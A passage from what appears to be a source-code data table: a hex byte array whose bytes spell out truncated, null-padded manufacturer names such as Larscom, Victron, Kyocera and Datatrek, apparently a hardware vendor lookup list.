0x66,\r\n0x4c, 0x61, 0x72, 0x73, 0x63, 0x6f, 0x6d, 0x00,\r\n0x56, 0x69, 0x63, 0x74, 0x72, 0x6f, 0x6e, 0x42,\r\n0x44, 0x69, 0x67, 0x69, 0x74, 0x61, 0x6c, 0x4f,\r\n0x50, 0x72, 0x65, 0x74, 0x65, 0x63, 0x45, 0x6c,\r\n0x48, 0x79, 0x62, 0x72, 0x69, 0x64, 0x4e, 0x65,\r\n0x4c, 0x6f, 0x67, 0x69, 0x63, 0x61, 0x6c, 0x44,\r\n0x54, 0x65, 0x73, 0x74, 0x4d, 0x65, 0x61, 0x73,\r\n0x56, 0x65, 0x72, 0x73, 0x61, 0x6c, 0x79, 0x6e,\r\n0x52, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, 0x43,\r\n0x4f, 0x73, 0x74, 0x4f, 0x75, 0x65, 0x74, 0x53,\r\n0x56, 0x69, 0x70, 0x61, 0x00, 0x00, 0x00, 0x00,\r\n0x4a, 0x61, 0x70, 0x61, 0x6e, 0x4d, 0x69, 0x6e,\r\n0x44, 0x65, 0x6e, 0x73, 0x69, 0x74, 0x72, 0x6f,\r\n0x4a, 0x61, 0x70, 0x61, 0x6e, 0x44, 0x69, 0x67,\r\n0x4b, 0x79, 0x6f, 0x73, 0x61, 0x6e, 0x45, 0x6c,\r\n0x41, 0x6c, 0x61, 0x6d, 0x61, 0x72, 0x45, 0x6c,\r\n0x4d, 0x63, 0x64, 0x4b, 0x65, 0x6e, 0x63, 0x6f,\r\n0x48, 0x73, 0x69, 0x6e, 0x67, 0x54, 0x65, 0x63,\r\n0x41, 0x70, 0x65, 0x78, 0x44, 0x61, 0x74, 0x61,\r\n0x4c, 0x69, 0x64, 0x6b, 0x6f, 0x70, 0x69, 0x6e,\r\n0x42, 0x26, 0x57, 0x4e, 0x75, 0x63, 0x6c, 0x65,\r\n0x44, 0x61, 0x74, 0x61, 0x74, 0x72, 0x65, 0x6b,\r\n0x44, 0x61, 0x6e, 0x74, 0x65, 0x6c, 0x00, 0x00,\r\n0x45, 0x66, 0x66, 0x69, 0x63, 0x69, 0x65, 0x6e,\r\n0x43, 0x69, 0x6e, 0x63, 0x69, 0x6e, 0x6e, 0x61,\r\n0x54, 0x65, 0x63, 0x68, 0x77, 0x61, 0x72, 0x65,\r\n0x47, 0x74, 0x65, 0x63, 0x68, 0x00, 0x00, 0x00,\r\n0x55, 0x73, 0x63, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x41, 0x6c, 0x74, 0x6f, 0x73, 0x49, 0x6e, 0x64,\r\n0x52, 0x61, 0x79, 0x6e, 0x65, 0x74, 0x00, 0x00,\r\n0x53, 0x70, 0x65, 0x63, 0x74, 0x72, 0x69, 0x78,\r\n0x50, 0x61, 0x6e, 0x64, 0x61, 0x74, 0x65, 0x6c,\r\n0x4e, 0x65, 0x74, 0x54, 0x65, 0x6b, 0x4b, 0x61,\r\n0x43, 0x79, 0x62, 0x65, 0x72, 0x64, 0x61, 0x74,\r\n0x43, 0x61, 0x72, 0x72, 0x65, 0x72, 0x61, 0x43,\r\n0x50, 0x61, 0x72, 0x61, 0x6c, 0x69, 0x6e, 0x6b,\r\n0x47, 0x64, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x4f, 0x63, 0x74, 0x65, 0x6c, 0x43, 0x6f, 0x6d,\r\n0x4d, 0x61, 0x74, 0x72, 0x6f, 0x78, 0x00, 0x00,\r\n0x49, 0x74, 0x76, 0x54, 0x65, 0x63, 0x68, 0x6e,\r\n0x54, 0x6f, 0x70, 0x77, 0x61, 0x72, 0x65, 0x2f,\r\n0x41, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x63, 0x69,\r\n0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x6c, 0x6f,\r\n0x47, 0x68, 0x69, 0x45, 0x6c, 0x65, 0x63, 0x74,\r\n0x47, 0x69, 0x67, 0x61, 0x73, 0x65, 0x74, 0x43,\r\n0x52, 0x69, 0x6d, 0x54, 0x65, 0x73, 0x74, 0x69,\r\n0x53, 0x65, 0x6f, 0x77, 0x6f, 0x6e, 0x69, 0x6e,\r\n0x42, 0x79, 0x64, 0x3a, 0x53, 0x69, 0x67, 0x6e,\r\n0x47, 0x65, 0x6d, 0x69, 0x6e, 0x69, 0x54, 0x72,\r\n0x43, 0x79, 0x6d, 0x74, 0x65, 0x63, 0x00, 0x00,\r\n0x53, 0x61, 0x6d, 0x73, 0x69, 0x6e, 0x49, 0x6e,\r\n0x4f, 0x72, 0x70, 0x61, 0x6b, 0x4c, 0x54, 0x44,\r\n0x43, 0x65, 0x72, 0x6e, 0x69, 0x75, 0x6d, 0x00,\r\n0x43, 0x6c, 0x65, 0x61, 0x72, 0x62, 0x6f, 0x78,\r\n0x55, 0x6e, 0x69, 0x70, 0x68, 0x6f, 0x6e, 0x65,\r\n0x57, 0x69, 0x73, 0x63, 0x6f, 0x6d, 0x53, 0x79,\r\n0x50, 0x61, 0x64, 0x74, 0x65, 0x63, 0x00, 0x00,\r\n0x48, 0x79, 0x6c, 0x61, 0x62, 0x54, 0x65, 0x63,\r\n0x50, 0x68, 0x79, 0x77, 0x65, 0x53, 0x79, 0x73,\r\n0x54, 0x72, 0x61, 0x6e, 0x73, 0x63, 0x6f, 0x6e,\r\n0x54, 0x65, 0x6c, 0x6c, 0x6f, 0x72, 0x64, 0x00,\r\n0x41, 0x74, 0x68, 0x65, 0x6e, 0x61, 0x54, 0x65,\r\n0x44, 0x61, 0x74, 0x61, 0x6c, 0x69, 0x6e, 0x65,\r\n0x53, 0x68, 0x69, 0x6e, 0x73, 0x75, 0x6e, 0x67,\r\n0x53, 0x65, 0x71, 0x75, 0x65, 0x6c, 0x54, 0x65,\r\n0x56, 0x72, 0x6d, 0x61, 0x67, 0x69, 0x63, 0x00,\r\n0x43, 0x68, 0x69, 0x70, 0x2d, 0x50, 0x72, 0x6f,\r\n0x41, 0x65, 0x72, 0x6f, 0x73, 0x61, 0x74, 0x41,\r\n0x4f, 0x70, 0x74, 0x6f, 0x73, 0x00, 0x00, 0x00,\r\n0x4b, 0x75, 0x6b, 0x4a, 0x65, 0x54, 0x6f, 0x6e,\r\n0x41, 0x75, 0x64, 0x69, 0x6f, 0x76, 0x6f, 0x78,\r\n0x4d, 0x73, 0x61, 0x41, 0x75, 0x65, 0x72, 0x00,\r\n0x53, 0x63, 0x69, 0x6d, 0x6f, 0x6c, 0x65, 0x78,\r\n0x44, 0x72, 0x65, 0x73, 0x64, 0x65, 0x6e, 0x2d,\r\n0x50, 0x68, 0x6f, 0x65, 0x62, 0x65, 0x4d, 0x69,\r\n0x4b, 0x65, 0x69, 0x63, 0x6f, 0x48, 0x69, 0x67,\r\n0x42, 0x6c, 0x79, 0x6e, 0x6b, 0x65, 0x00, 0x00,\r\n0x4d, 0x61, 0x73, 0x74, 0x65, 0x72, 0x63, 0x6c,\r\n0x42, 0x75, 0x69, 0x6c, 0x64, 0x69, 0x6e, 0x67,\r\n0x42, 0x72, 0x61, 0x6e, 0x64, 0x79, 0x77, 0x69,\r\n0x42, 0x61, 0x79, 0x43, 0x6f, 0x6e, 0x74, 0x72,\r\n0x43, 0x65, 0x70, 0x68, 0x65, 0x69, 0x64, 0x00,\r\n0x45, 0x73, 0x63, 0x68, 0x65, 0x72, 0x6c, 0x6f,\r\n0x57, 0x69, 0x6e, 0x63, 0x68, 0x65, 0x73, 0x74,\r\n0x42, 0x65, 0x72, 0x6b, 0x73, 0x68, 0x69, 0x72,\r\n0x41, 0x6c, 0x69, 0x70, 0x68, 0x63, 0x6f, 0x6d,\r\n0x43, 0x65, 0x72, 0x6d, 0x65, 0x74, 0x65, 0x6b,\r\n0x41, 0x2d, 0x54, 0x65, 0x61, 0x6d, 0x54, 0x65,\r\n0x45, 0x6e, 0x54, 0x65, 0x63, 0x68, 0x6e, 0x6f,\r\n0x52, 0x61, 0x64, 0x6c, 0x69, 0x76, 0x65, 0x00,\r\n0x53, 0x73, 0x54, 0x65, 0x6c, 0x65, 0x63, 0x6f,\r\n0x53, 0x65, 0x6d, 0x70, 0x74, 0x69, 0x61, 0x6e,\r\n0x4b, 0x61, 0x63, 0x6f, 0x53, 0x6f, 0x6c, 0x61,\r\n0x43, 0x68, 0x69, 0x6e, 0x61, 0x44, 0x61, 0x68,\r\n0x50, 0x69, 0x78, 0x65, 0x6c, 0x56, 0x65, 0x6c,\r\n0x47, 0x73, 0x59, 0x75, 0x61, 0x73, 0x61, 0x50,\r\n0x45, 0x79, 0x65, 0x76, 0x69, 0x65, 0x77, 0x45,\r\n0x4d, 0x69, 0x6c, 0x6c, 0x69, 0x6e, 0x65, 0x74,\r\n0x53, 0x65, 0x61, 0x6d, 0x69, 0x63, 0x72, 0x6f,\r\n0x44, 0x2d, 0x54, 0x61, 0x63, 0x71, 0x53, 0x6f,\r\n0x53, 0x74, 0x79, 0x6c, 0x65, 0x46, 0x6c, 0x79,\r\n0x53, 0x65, 0x6e, 0x73, 0x65, 0x61, 0x6e, 0x79,\r\n0x49, 0x68, 0x73, 0x65, 0x00, 0x00, 0x00, 0x00,\r\n0x48, 0x69, 0x64, 0x65, 0x61, 0x53, 0x6f, 0x6c,\r\n0x59, 0x6f, 0x75, 0x72, 0x6e, 0x65, 0x74, 0x00,\r\n0x53, 0x70, 0x65, 0x63, 0x69, 0x61, 0x6c, 0x44,\r\n0x50, 0x72, 0x65, 0x73, 0x73, 0x74, 0x65, 0x6b,\r\n0x4e, 0x6f, 0x76, 0x61, 0x74, 0x65, 0x6c, 0x00,\r\n0x48, 0x77, 0x61, 0x4a, 0x69, 0x6e, 0x54, 0x26,\r\n0x49, 0x76, 0x65, 0x69, 0x61, 0x4c, 0x6c, 0x63,\r\n0x50, 0x72, 0x6f, 0x6c, 0x6f, 0x67, 0x69, 0x78,\r\n0x4f, 0x64, 0x76, 0x61, 0x00, 0x00, 0x00, 0x00,\r\n0x53, 0x6f, 0x6c, 0x74, 0x65, 0x63, 0x68, 0x00,\r\n0x46, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e,\r\n0x53, 0x79, 0x6d, 0x63, 0x6f, 0x6d, 0x00, 0x00,\r\n0x57, 0x65, 0x73, 0x75, 0x6e, 0x67, 0x54, 0x6e,\r\n0x53, 0x65, 0x6f, 0x75, 0x6c, 0x74, 0x65, 0x6b,\r\n0x49, 0x6f, 0x6e, 0x54, 0x6f, 0x72, 0x72, 0x65,\r\n0x41, 0x76, 0x61, 0x6c, 0x61, 0x6e, 0x57, 0x69,\r\n0x50, 0x61, 0x63, 0x69, 0x66, 0x69, 0x63, 0x53,\r\n0x59, 0x6d, 0x61, 0x78, 0x54, 0x65, 0x6c, 0x65,\r\n0x57, 0x4c, 0x47, 0x6f, 0x72, 0x65, 0x41, 0x73,\r\n0x4d, 0x61, 0x74, 0x75, 0x73, 0x63, 0x68, 0x65,\r\n0x49, 0x6f, 0x67, 0x65, 0x61, 0x72, 0x00, 0x00,\r\n0x53, 0x65, 0x6a, 0x69, 0x6e, 0x45, 0x6c, 0x65,\r\n0x42, 0x61, 0x73, 0x74, 0x65, 0x63, 0x00, 0x00,\r\n0x50, 0x79, 0x78, 0x69, 0x73, 0x53, 0x52, 0x4c,\r\n0x54, 0x65, 0x6c, 0x69, 0x74, 0x43, 0x6f, 0x6d,\r\n0x49, 0x6e, 0x74, 0x72, 0x61, 0x63, 0x6f, 0x54,\r\n0x53, 0x69, 0x32, 0x4d, 0x69, 0x63, 0x72, 0x6f,\r\n0x53, 0x61, 0x6e, 0x64, 0x6c, 0x69, 0x6e, 0x6b,\r\n0x41, 0x6e, 0x64, 0x72, 0x69, 0x74, 0x7a, 0x48,\r\n0x50, 0x6f, 0x77, 0x65, 0x72, 0x73, 0x6f, 0x66,\r\n0x49, 0x6d, 0x61, 0x63, 0x73, 0x00, 0x00, 0x00,\r\n0x45, 0x6d, 0x63, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x41, 0x70, 0x70, 0x74, 0x65, 0x63, 0x68, 0x00,\r\n0x57, 0x65, 0x73, 0x63, 0x6f, 0x6e, 0x54, 0x65,\r\n0x54, 0x6f, 0x70, 0x63, 0x6f, 0x6e, 0x74, 0x72,\r\n0x41, 0x70, 0x52, 0x6f, 0x75, 0x74, 0x65, 0x72,\r\n0x4d, 0x65, 0x6b, 0x69, 0x63, 0x73, 0x00, 0x00,\r\n0x41, 0x76, 0x61, 0x6e, 0x74, 0x67, 0x61, 0x72,\r\n0x47, 0x6f, 0x6c, 0x69, 0x61, 0x74, 0x68, 0x53,\r\n0x42, 0x61, 0x6f, 0x64, 0x69, 0x6e, 0x67, 0x47,\r\n0x56, 0x69, 0x64, 0x65, 0x6f, 0x66, 0x6f, 0x6e,\r\n0x50, 0x69, 0x6e, 0x67, 0x43, 0x6f, 0x6d, 0x6d,\r\n0x47, 0x77, 0x64, 0x4d, 0x65, 0x64, 0x69, 0x61,\r\n0x54, 0x65, 0x6c, 0x73, 0x65, 0x79, 0x53, 0x50,\r\n0x54, 0x68, 0x61, 0x69, 0x52, 0x61, 0x64, 0x69,\r\n0x56, 0x61, 0x63, 0x6f, 0x6e, 0x00, 0x00, 0x00,\r\n0x48, 0x6f, 0x6e, 0x65, 0x79, 0x77, 0x6c, 0x64,\r\n0x41, 0x64, 0x65, 0x73, 0x79, 0x73, 0x42, 0x76,\r\n0x53, 0x61, 0x74, 0x65, 0x6c, 0x4f, 0x79, 0x00,\r\n0x45, 0x6b, 0x65, 0x2d, 0x45, 0x6c, 0x65, 0x63,\r\n0x4d, 0x69, 0x63, 0x72, 0x6f, 0x6d, 0x69, 0x6e,\r\n0x44, 0x62, 0x69, 0x69, 0x4e, 0x65, 0x74, 0x77,\r\n0x45, 0x72, 0x6c, 0x70, 0x68, 0x61, 0x73, 0x65,\r\n0x56, 0x69, 0x64, 0x65, 0x6f, 0x74, 0x65, 0x63,\r\n0x48, 0x61, 0x6e, 0x74, 0x6c, 0x65, 0x53, 0x79,\r\n0x54, 0x65, 0x6c, 0x65, 0x70, 0x68, 0x6f, 0x6e,\r\n0x4d, 0x6f, 0x62, 0x69, 0x6c, 0x69, 0x6e, 0x6b,\r\n0x49, 0x6e, 0x66, 0x72, 0x61, 0x72, 0x65, 0x64,\r\n0x4e, 0x6f, 0x72, 0x64, 0x69, 0x63, 0x49, 0x64,\r\n0x52, 0x61, 0x64, 0x69, 0x6f, 0x46, 0x72, 0x65,\r\n0x54, 0x79, 0x63, 0x6f, 0x54, 0x65, 0x6c, 0x65,\r\n0x46, 0x69, 0x62, 0x65, 0x72, 0x62, 0x6c, 0x61,\r\n0x52, 0x6f, 0x73, 0x73, 0x43, 0x6f, 0x6e, 0x74,\r\n0x41, 0x70, 0x72, 0x6f, 0x4d, 0x65, 0x64, 0x69,\r\n0x47, 0x61, 0x6c, 0x76, 0x61, 0x6e, 0x69, 0x63,\r\n0x54, 0x72, 0x69, 0x61, 0x63, 0x74, 0x61, 0x50,\r\n0x4c, 0x65, 0x78, 0x6d, 0x61, 0x72, 0x6b, 0x49,\r\n0x49, 0x6e, 0x70, 0x68, 0x69, 0x00, 0x00, 0x00,\r\n0x52, 0x69, 0x6b, 0x65, 0x6e, 0x4b, 0x65, 0x69,\r\n0x5a, 0x61, 0x6c, 0x61, 0x43, 0x6f, 0x6d, 0x70,\r\n0x48, 0x69, 0x74, 0x61, 0x63, 0x68, 0x69, 0x48,\r\n0x4d, 0x6f, 0x62, 0x69, 0x6c, 0x65, 0x41, 0x70,\r\n0x41, 0x62, 0x62, 0x4f, 0x79, 0x2f, 0x4d, 0x65,\r\n0x47, 0x6c, 0x43, 0x6f, 0x6d, 0x6d, 0x75, 0x6e,\r\n0x43, 0x6f, 0x72, 0x6e, 0x65, 0x6c, 0x6c, 0x43,\r\n0x43, 0x6f, 0x6e, 0x73, 0x69, 0x6c, 0x69, 0x75,\r\n0x33, 0x64, 0x73, 0x70, 0x00, 0x00, 0x00, 0x00,\r\n0x43, 0x73, 0x6a, 0x47, 0x6c, 0x6f, 0x62, 0x61,\r\n0x52, 0x75, 0x73, 0x73, 0x6f, 0x75, 0x6e, 0x64,\r\n0x4c, 0x6f, 0x68, 0x75, 0x69, 0x73, 0x4e, 0x65,\r\n0x57, 0x61, 0x76, 0x65, 0x63, 0x6f, 0x6d, 0x41,\r\n0x41, 0x72, 0x74, 0x53, 0x79, 0x73, 0x74, 0x65,\r\n0x53, 0x6d, 0x73, 0x54, 0x65, 0x63, 0x6e, 0x6f,\r\n0x4c, 0x69, 0x76, 0x65, 0x74, 0x76, 0x00, 0x00,\r\n0x4e, 0x74, 0x63, 0x2d, 0x4d, 0x65, 0x74, 0x72,\r\n0x43, 0x72, 0x79, 0x70, 0x74, 0x6f, 0x47, 0x72,\r\n0x47, 0x6c, 0x6f, 0x62, 0x61, 0x6c, 0x44, 0x69,\r\n0x42, 0x6f, 0x63, 0x6f, 0x6d, 0x53, 0x65, 0x63,\r\n0x56, 0x6f, 0x6c, 0x6c, 0x6d, 0x65, 0x72, 0x57,\r\n0x58, 0x32, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x4c, 0x78, 0x69, 0x43, 0x6f, 0x6e, 0x73, 0x6f,\r\n0x53, 0x65, 0x6b, 0x6f, 0x6e, 0x69, 0x63, 0x00,\r\n0x53, 0x61, 0x6e, 0x74, 0x61, 0x63, 0x68, 0x69,\r\n0x54, 0x65, 0x63, 0x6e, 0x6f, 0x61, 0x6c, 0x61,\r\n0x46, 0x69, 0x72, 0x65, 0x70, 0x72, 0x6f, 0x57,\r\n0x4d, 0x61, 0x72, 0x74, 0x69, 0x6e, 0x43, 0x68,\r\n0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x67, 0x69, 0x6c,\r\n0x56, 0x69, 0x73, 0x61, 0x67, 0x6f, 0x43, 0x6f,\r\n0x53, 0x65, 0x72, 0x69, 0x61, 0x6c, 0x74, 0x65,\r\n0x49, 0x2d, 0x57, 0x69, 0x6e, 0x00, 0x00, 0x00,\r\n0x44, 0x69, 0x73, 0x70, 0x6c, 0x61, 0x79, 0x53,\r\n0x53, 0x74, 0x61, 0x72, 0x6c, 0x69, 0x67, 0x68,\r\n0x42, 0x79, 0x73, 0x74, 0x72, 0x6f, 0x6e, 0x69,\r\n0x45, 0x73, 0x70, 0x4c, 0x6c, 0x63, 0x00, 0x00,\r\n0x53, 0x6f, 0x6c, 0x75, 0x74, 0x72, 0x6f, 0x6e,\r\n0x54, 0x65, 0x6c, 0x65, 0x67, 0x65, 0x73, 0x69,\r\n0x46, 0x75, 0x6c, 0x6c, 0x53, 0x70, 0x65, 0x63,\r\n0x4b, 0x61, 0x70, 0x73, 0x79, 0x73, 0x00, 0x00,\r\n0x45, 0x77, 0x33, 0x54, 0x65, 0x63, 0x68, 0x6e,\r\n0x54, 0x75, 0x74, 0x75, 0x73, 0x44, 0x61, 0x74,\r\n0x45, 0x61, 0x73, 0x79, 0x33, 0x63, 0x61, 0x6c,\r\n0x53, 0x69, 0x31, 0x34, 0x00, 0x00, 0x00, 0x00,\r\n0x49, 0x6e, 0x72, 0x61, 0x6e, 0x67, 0x65, 0x00,\r\n0x57, 0x65, 0x73, 0x74, 0x65, 0x72, 0x6e, 0x45,\r\n0x45, 0x6e, 0x73, 0x65, 0x6f, 0x00, 0x00, 0x00,\r\n0x57, 0x69, 0x72, 0x65, 0x63, 0x6f, 0x6d, 0x54,\r\n0x41, 0x34, 0x73, 0x70, 0x54, 0x65, 0x63, 0x68,\r\n0x4c, 0x61, 0x63, 0x72, 0x6f, 0x69, 0x78, 0x54,\r\n0x43, 0x79, 0x66, 0x72, 0x6f, 0x77, 0x79, 0x50,\r\n0x41, 0x6b, 0x73, 0x79, 0x73, 0x4e, 0x65, 0x74,\r\n0x45, 0x78, 0x63, 0x69, 0x74, 0x6f, 0x45, 0x6c,\r\n0x47, 0x6c, 0x65, 0x6e, 0x73, 0x6f, 0x75, 0x6e,\r\n0x4b, 0x6f, 0x72, 0x61, 0x74, 0x65, 0x6b, 0x00,\r\n0x57, 0x65, 0x6c, 0x69, 0x6e, 0x6b, 0x53, 0x6f,\r\n0x43, 0x79, 0x62, 0x65, 0x72, 0x64, 0x79, 0x6e,\r\n0x49, 0x6e, 0x74, 0x65, 0x6e, 0x6f, 0x42, 0x72,\r\n0x43, 0x65, 0x72, 0x74, 0x69, 0x63, 0x6f, 0x6d,\r\n0x4f, 0x6d, 0x72, 0x6f, 0x6e, 0x48, 0x65, 0x61,\r\n0x4f, 0x6e, 0x6c, 0x69, 0x76, 0x65, 0x00, 0x00,\r\n0x49, 0x6e, 0x64, 0x69, 0x67, 0x6f, 0x53, 0x65,\r\n0x4d, 0x6f, 0x63, 0x61, 0x4d, 0x75, 0x6c, 0x74,\r\n0x52, 0x6f, 0x68, 0x61, 0x74, 0x69, 0x00, 0x00,\r\n0x43, 0x61, 0x69, 0x4e, 0x65, 0x74, 0x77, 0x6f,\r\n0x50, 0x63, 0x69, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x52, 0x69, 0x6e, 0x6e, 0x61, 0x69, 0x4b, 0x6f,\r\n0x53, 0x68, 0x69, 0x62, 0x61, 0x75, 0x72, 0x61,\r\n0x4e, 0x65, 0x61, 0x74, 0x45, 0x6c, 0x65, 0x63,\r\n0x41, 0x75, 0x64, 0x69, 0x6f, 0x50, 0x72, 0x65,\r\n0x4d, 0x6f, 0x72, 0x65, 0x67, 0x61, 0x00, 0x00,\r\n0x46, 0x72, 0x65, 0x65, 0x67, 0x65, 0x6e, 0x65,\r\n0x4d, 0x65, 0x64, 0x69, 0x61, 0x44, 0x65, 0x76,\r\n0x45, 0x73, 0x61, 0x6e, 0x67, 0x54, 0x65, 0x63,\r\n0x4d, 0x69, 0x74, 0x61, 0x63, 0x54, 0x65, 0x63,\r\n0x49, 0x74, 0x6f, 0x68, 0x44, 0x65, 0x6e, 0x6b,\r\n0x54, 0x69, 0x6d, 0x65, 0x6b, 0x65, 0x65, 0x70,\r\n0x47, 0x6f, 0x6f, 0x64, 0x57, 0x69, 0x6c, 0x6c,\r\n0x41, 0x76, 0x61, 0x61, 0x6b, 0x00, 0x00, 0x00,\r\n0x55, 0x76, 0x2d, 0x45, 0x6c, 0x65, 0x63, 0x74,\r\n0x42, 0x72, 0x65, 0x65, 0x7a, 0x65, 0x49, 0x6e,\r\n0x43, 0x6f, 0x6d, 0x70, 0x75, 0x6d, 0x65, 0x64,\r\n0x53, 0x6f, 0x75, 0x6e, 0x64, 0x65, 0x61, 0x72,\r\n0x4e, 0x75, 0x63, 0x6f, 0x6d, 0x6d, 0x00, 0x00,\r\n0x43, 0x65, 0x74, 0x6f, 0x6e, 0x00, 0x00, 0x00,\r\n0x4d, 0x61, 0x69, 0x6e, 0x74, 0x65, 0x63, 0x68,\r\n0x4f, 0x70, 0x65, 0x6e, 0x47, 0x72, 0x69, 0x64,\r\n0x46, 0x75, 0x74, 0x75, 0x72, 0x65, 0x6c, 0x6f,\r\n0x53, 0x6d, 0x74, 0x26, 0x43, 0x00, 0x00, 0x00,\r\n0x44, 0x65, 0x73, 0x69, 0x67, 0x6e, 0x44, 0x65,\r\n0x43, 0x6f, 0x72, 0x76, 0x65, 0x6e, 0x74, 0x69,\r\n0x53, 0x74, 0x72, 0x75, 0x6b, 0x74, 0x6f, 0x6e,\r\n0x56, 0x65, 0x63, 0x74, 0x6f, 0x72, 0x53, 0x70,\r\n0x53, 0x68, 0x69, 0x6e, 0x68, 0x69, 0x6e, 0x74,\r\n0x4c, 0x6f, 0x67, 0x69, 0x70, 0x6c, 0x75, 0x73,\r\n0x49, 0x6e, 0x64, 0x69, 0x61, 0x6e, 0x61, 0x4c,\r\n0x52, 0x61, 0x74, 0x69, 0x6f, 0x45, 0x6e, 0x74,\r\n0x4a, 0x75, 0x6d, 0x70, 0x67, 0x65, 0x6e, 0x4c,\r\n0x49, 0x72, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x00,\r\n0x41, 0x6c, 0x61, 0x63, 0x72, 0x6f, 0x6e, 0x00,\r\n0x43, 0x68, 0x65, 0x6e, 0x67, 0x64, 0x75, 0x4c,\r\n0x4c, 0x65, 0x69, 0x6e, 0x65, 0x4c, 0x69, 0x6e,\r\n0x45, 0x76, 0x6f, 0x63, 0x49, 0x6e, 0x74, 0x65,\r\n0x44, 0x61, 0x63, 0x45, 0x6e, 0x67, 0x69, 0x6e,\r\n0x48, 0x6f, 0x6d, 0x65, 0x4d, 0x75, 0x6c, 0x74,\r\n0x52, 0x61, 0x79, 0x6c, 0x61, 0x73, 0x65, 0x00,\r\n0x41, 0x69, 0x72, 0x74, 0x65, 0x63, 0x68, 0x54,\r\n0x4d, 0x69, 0x74, 0x61, 0x63, 0x49, 0x6e, 0x74,\r\n0x53, 0x65, 0x65, 0x6e, 0x65, 0x72, 0x67, 0x79,\r\n0x42, 0x79, 0x7a, 0x6f, 0x72, 0x6f, 0x4e, 0x65,\r\n0x50, 0x6f, 0x69, 0x6e, 0x74, 0x53, 0x69, 0x78,\r\n0x4c, 0x75, 0x6d, 0x61, 0x73, 0x65, 0x6e, 0x73,\r\n0x5a, 0x6f, 0x6c, 0x6c, 0x4c, 0x69, 0x66, 0x65,\r\n0x45, 0x6e, 0x74, 0x6f, 0x72, 0x69, 0x61, 0x6e,\r\n0x42, 0x69, 0x67, 0x65, 0x6c, 0x6f, 0x77, 0x41,\r\n0x47, 0x61, 0x72, 0x64, 0x65, 0x53, 0x65, 0x63,\r\n0x54, 0x65, 0x72, 0x61, 0x64, 0x69, 0x63, 0x69,\r\n0x4d, 0x75, 0x6c, 0x74, 0x69, 0x6d, 0x65, 0x64,\r\n0x44, 0x69, 0x67, 0x69, 0x63, 0x61, 0x62, 0x6c,\r\n0x55, 0x77, 0x69, 0x6e, 0x54, 0x65, 0x63, 0x68,\r\n0x4c, 0x69, 0x74, 0x65, 0x6f, 0x6e, 0x54, 0x65,\r\n0x41, 0x66, 0x72, 0x65, 0x65, 0x79, 0x00, 0x00,\r\n0x46, 0x72, 0x6f, 0x6e, 0x74, 0x69, 0x65, 0x72,\r\n0x42, 0x65, 0x70, 0x4d, 0x61, 0x72, 0x69, 0x6e,\r\n0x4b, 0x6f, 0x6f, 0x73, 0x54, 0x65, 0x63, 0x68,\r\n0x4c, 0x69, 0x6e, 0x6b, 0x73, 0x70, 0x72, 0x69,\r\n0x47, 0x6f, 0x77, 0x65, 0x6c, 0x6c, 0x45, 0x6c,\r\n0x33, 0x6f, 0x6e, 0x65, 0x64, 0x61, 0x74, 0x61,\r\n0x41, 0x62, 0x6b, 0x4e, 0x6f, 0x72, 0x74, 0x68,\r\n0x4a, 0x67, 0x65, 0x72, 0x43, 0x6f, 0x6d, 0x00,\r\n0x54, 0x65, 0x63, 0x68, 0x77, 0x61, 0x79, 0x00,\r\n0x46, 0x61, 0x6d, 0x69, 0x6c, 0x79, 0x70, 0x68,\r\n0x54, 0x72, 0x69, 0x70, 0x6c, 0x65, 0x45, 0x79,\r\n0x4e, 0x65, 0x63, 0x41, 0x75, 0x73, 0x74, 0x72,\r\n0x4e, 0x69, 0x70, 0x70, 0x6f, 0x6e, 0x43, 0x6f,\r\n0x41, 0x70, 0x6f, 0x67, 0x65, 0x65, 0x4c, 0x61,\r\n0x57, 0x6f, 0x6f, 0x72, 0x69, 0x53, 0x6d, 0x74,\r\n0x59, 0x65, 0x44, 0x61, 0x74, 0x61, 0x00, 0x00,\r\n0x43, 0x68, 0x65, 0x6e, 0x67, 0x64, 0x75, 0x33,\r\n0x41, 0x32, 0x62, 0x45, 0x6c, 0x65, 0x63, 0x74,\r\n0x44, 0x61, 0x69, 0x6e, 0x74, 0x72, 0x65, 0x65,\r\n0x38, 0x30, 0x38, 0x36, 0x43, 0x6f, 0x6e, 0x73,\r\n0x44, 0x65, 0x73, 0x61, 0x79, 0x41, 0x26, 0x56,\r\n0x4e, 0x6f, 0x6d, 0x75, 0x73, 0x43, 0x6f, 0x6d,\r\n0x41, 0x73, 0x74, 0x72, 0x6f, 0x6e, 0x00, 0x00,\r\n0x54, 0x69, 0x74, 0x61, 0x6e, 0x57, 0x69, 0x72,\r\n0x53, 0x61, 0x67, 0x72, 0x61, 0x64, 0x00, 0x00,\r\n0x4f, 0x70, 0x74, 0x6f, 0x73, 0x65, 0x63, 0x75,\r\n0x54, 0x65, 0x72, 0x61, 0x74, 0x72, 0x6f, 0x6e,\r\n0x4b, 0x65, 0x6e, 0x73, 0x69, 0x6e, 0x67, 0x74,\r\n0x50, 0x68, 0x6f, 0x74, 0x6f, 0x6e, 0x45, 0x75,\r\n0x47, 0x62, 0x73, 0x4c, 0x61, 0x62, 0x6f, 0x72,\r\n0x54, 0x76, 0x2d, 0x4e, 0x75, 0x6d, 0x65, 0x72,\r\n0x43, 0x6e, 0x72, 0x73, 0x00, 0x00, 0x00, 0x00,\r\n0x43, 0x69, 0x6e, 0x65, 0x74, 0x61, 0x6c, 0x00,\r\n0x4b, 0x79, 0x6f, 0x63, 0x65, 0x72, 0x61, 0x00,\r\n0x53, 0x67, 0x6d, 0x54, 0x65, 0x63, 0x68, 0x6e,\r\n0x4c, 0x69, 0x6e, 0x6f, 0x77, 0x61, 0x76, 0x65,\r\n0x58, 0x6d, 0x6f, 0x73, 0x53, 0x65, 0x6d, 0x69,\r\n0x4c, 0x61, 0x73, 0x74, 0x61, 0x72, 0x00, 0x00,\r\n0x41, 0x76, 0x65, 0x72, 0x6c, 0x6f, 0x67, 0x69,\r\n0x56, 0x65, 0x72, 0x69, 0x73, 0x6d, 0x6f, 0x4e,\r\n0x50, 0x79, 0x75, 0x6e, 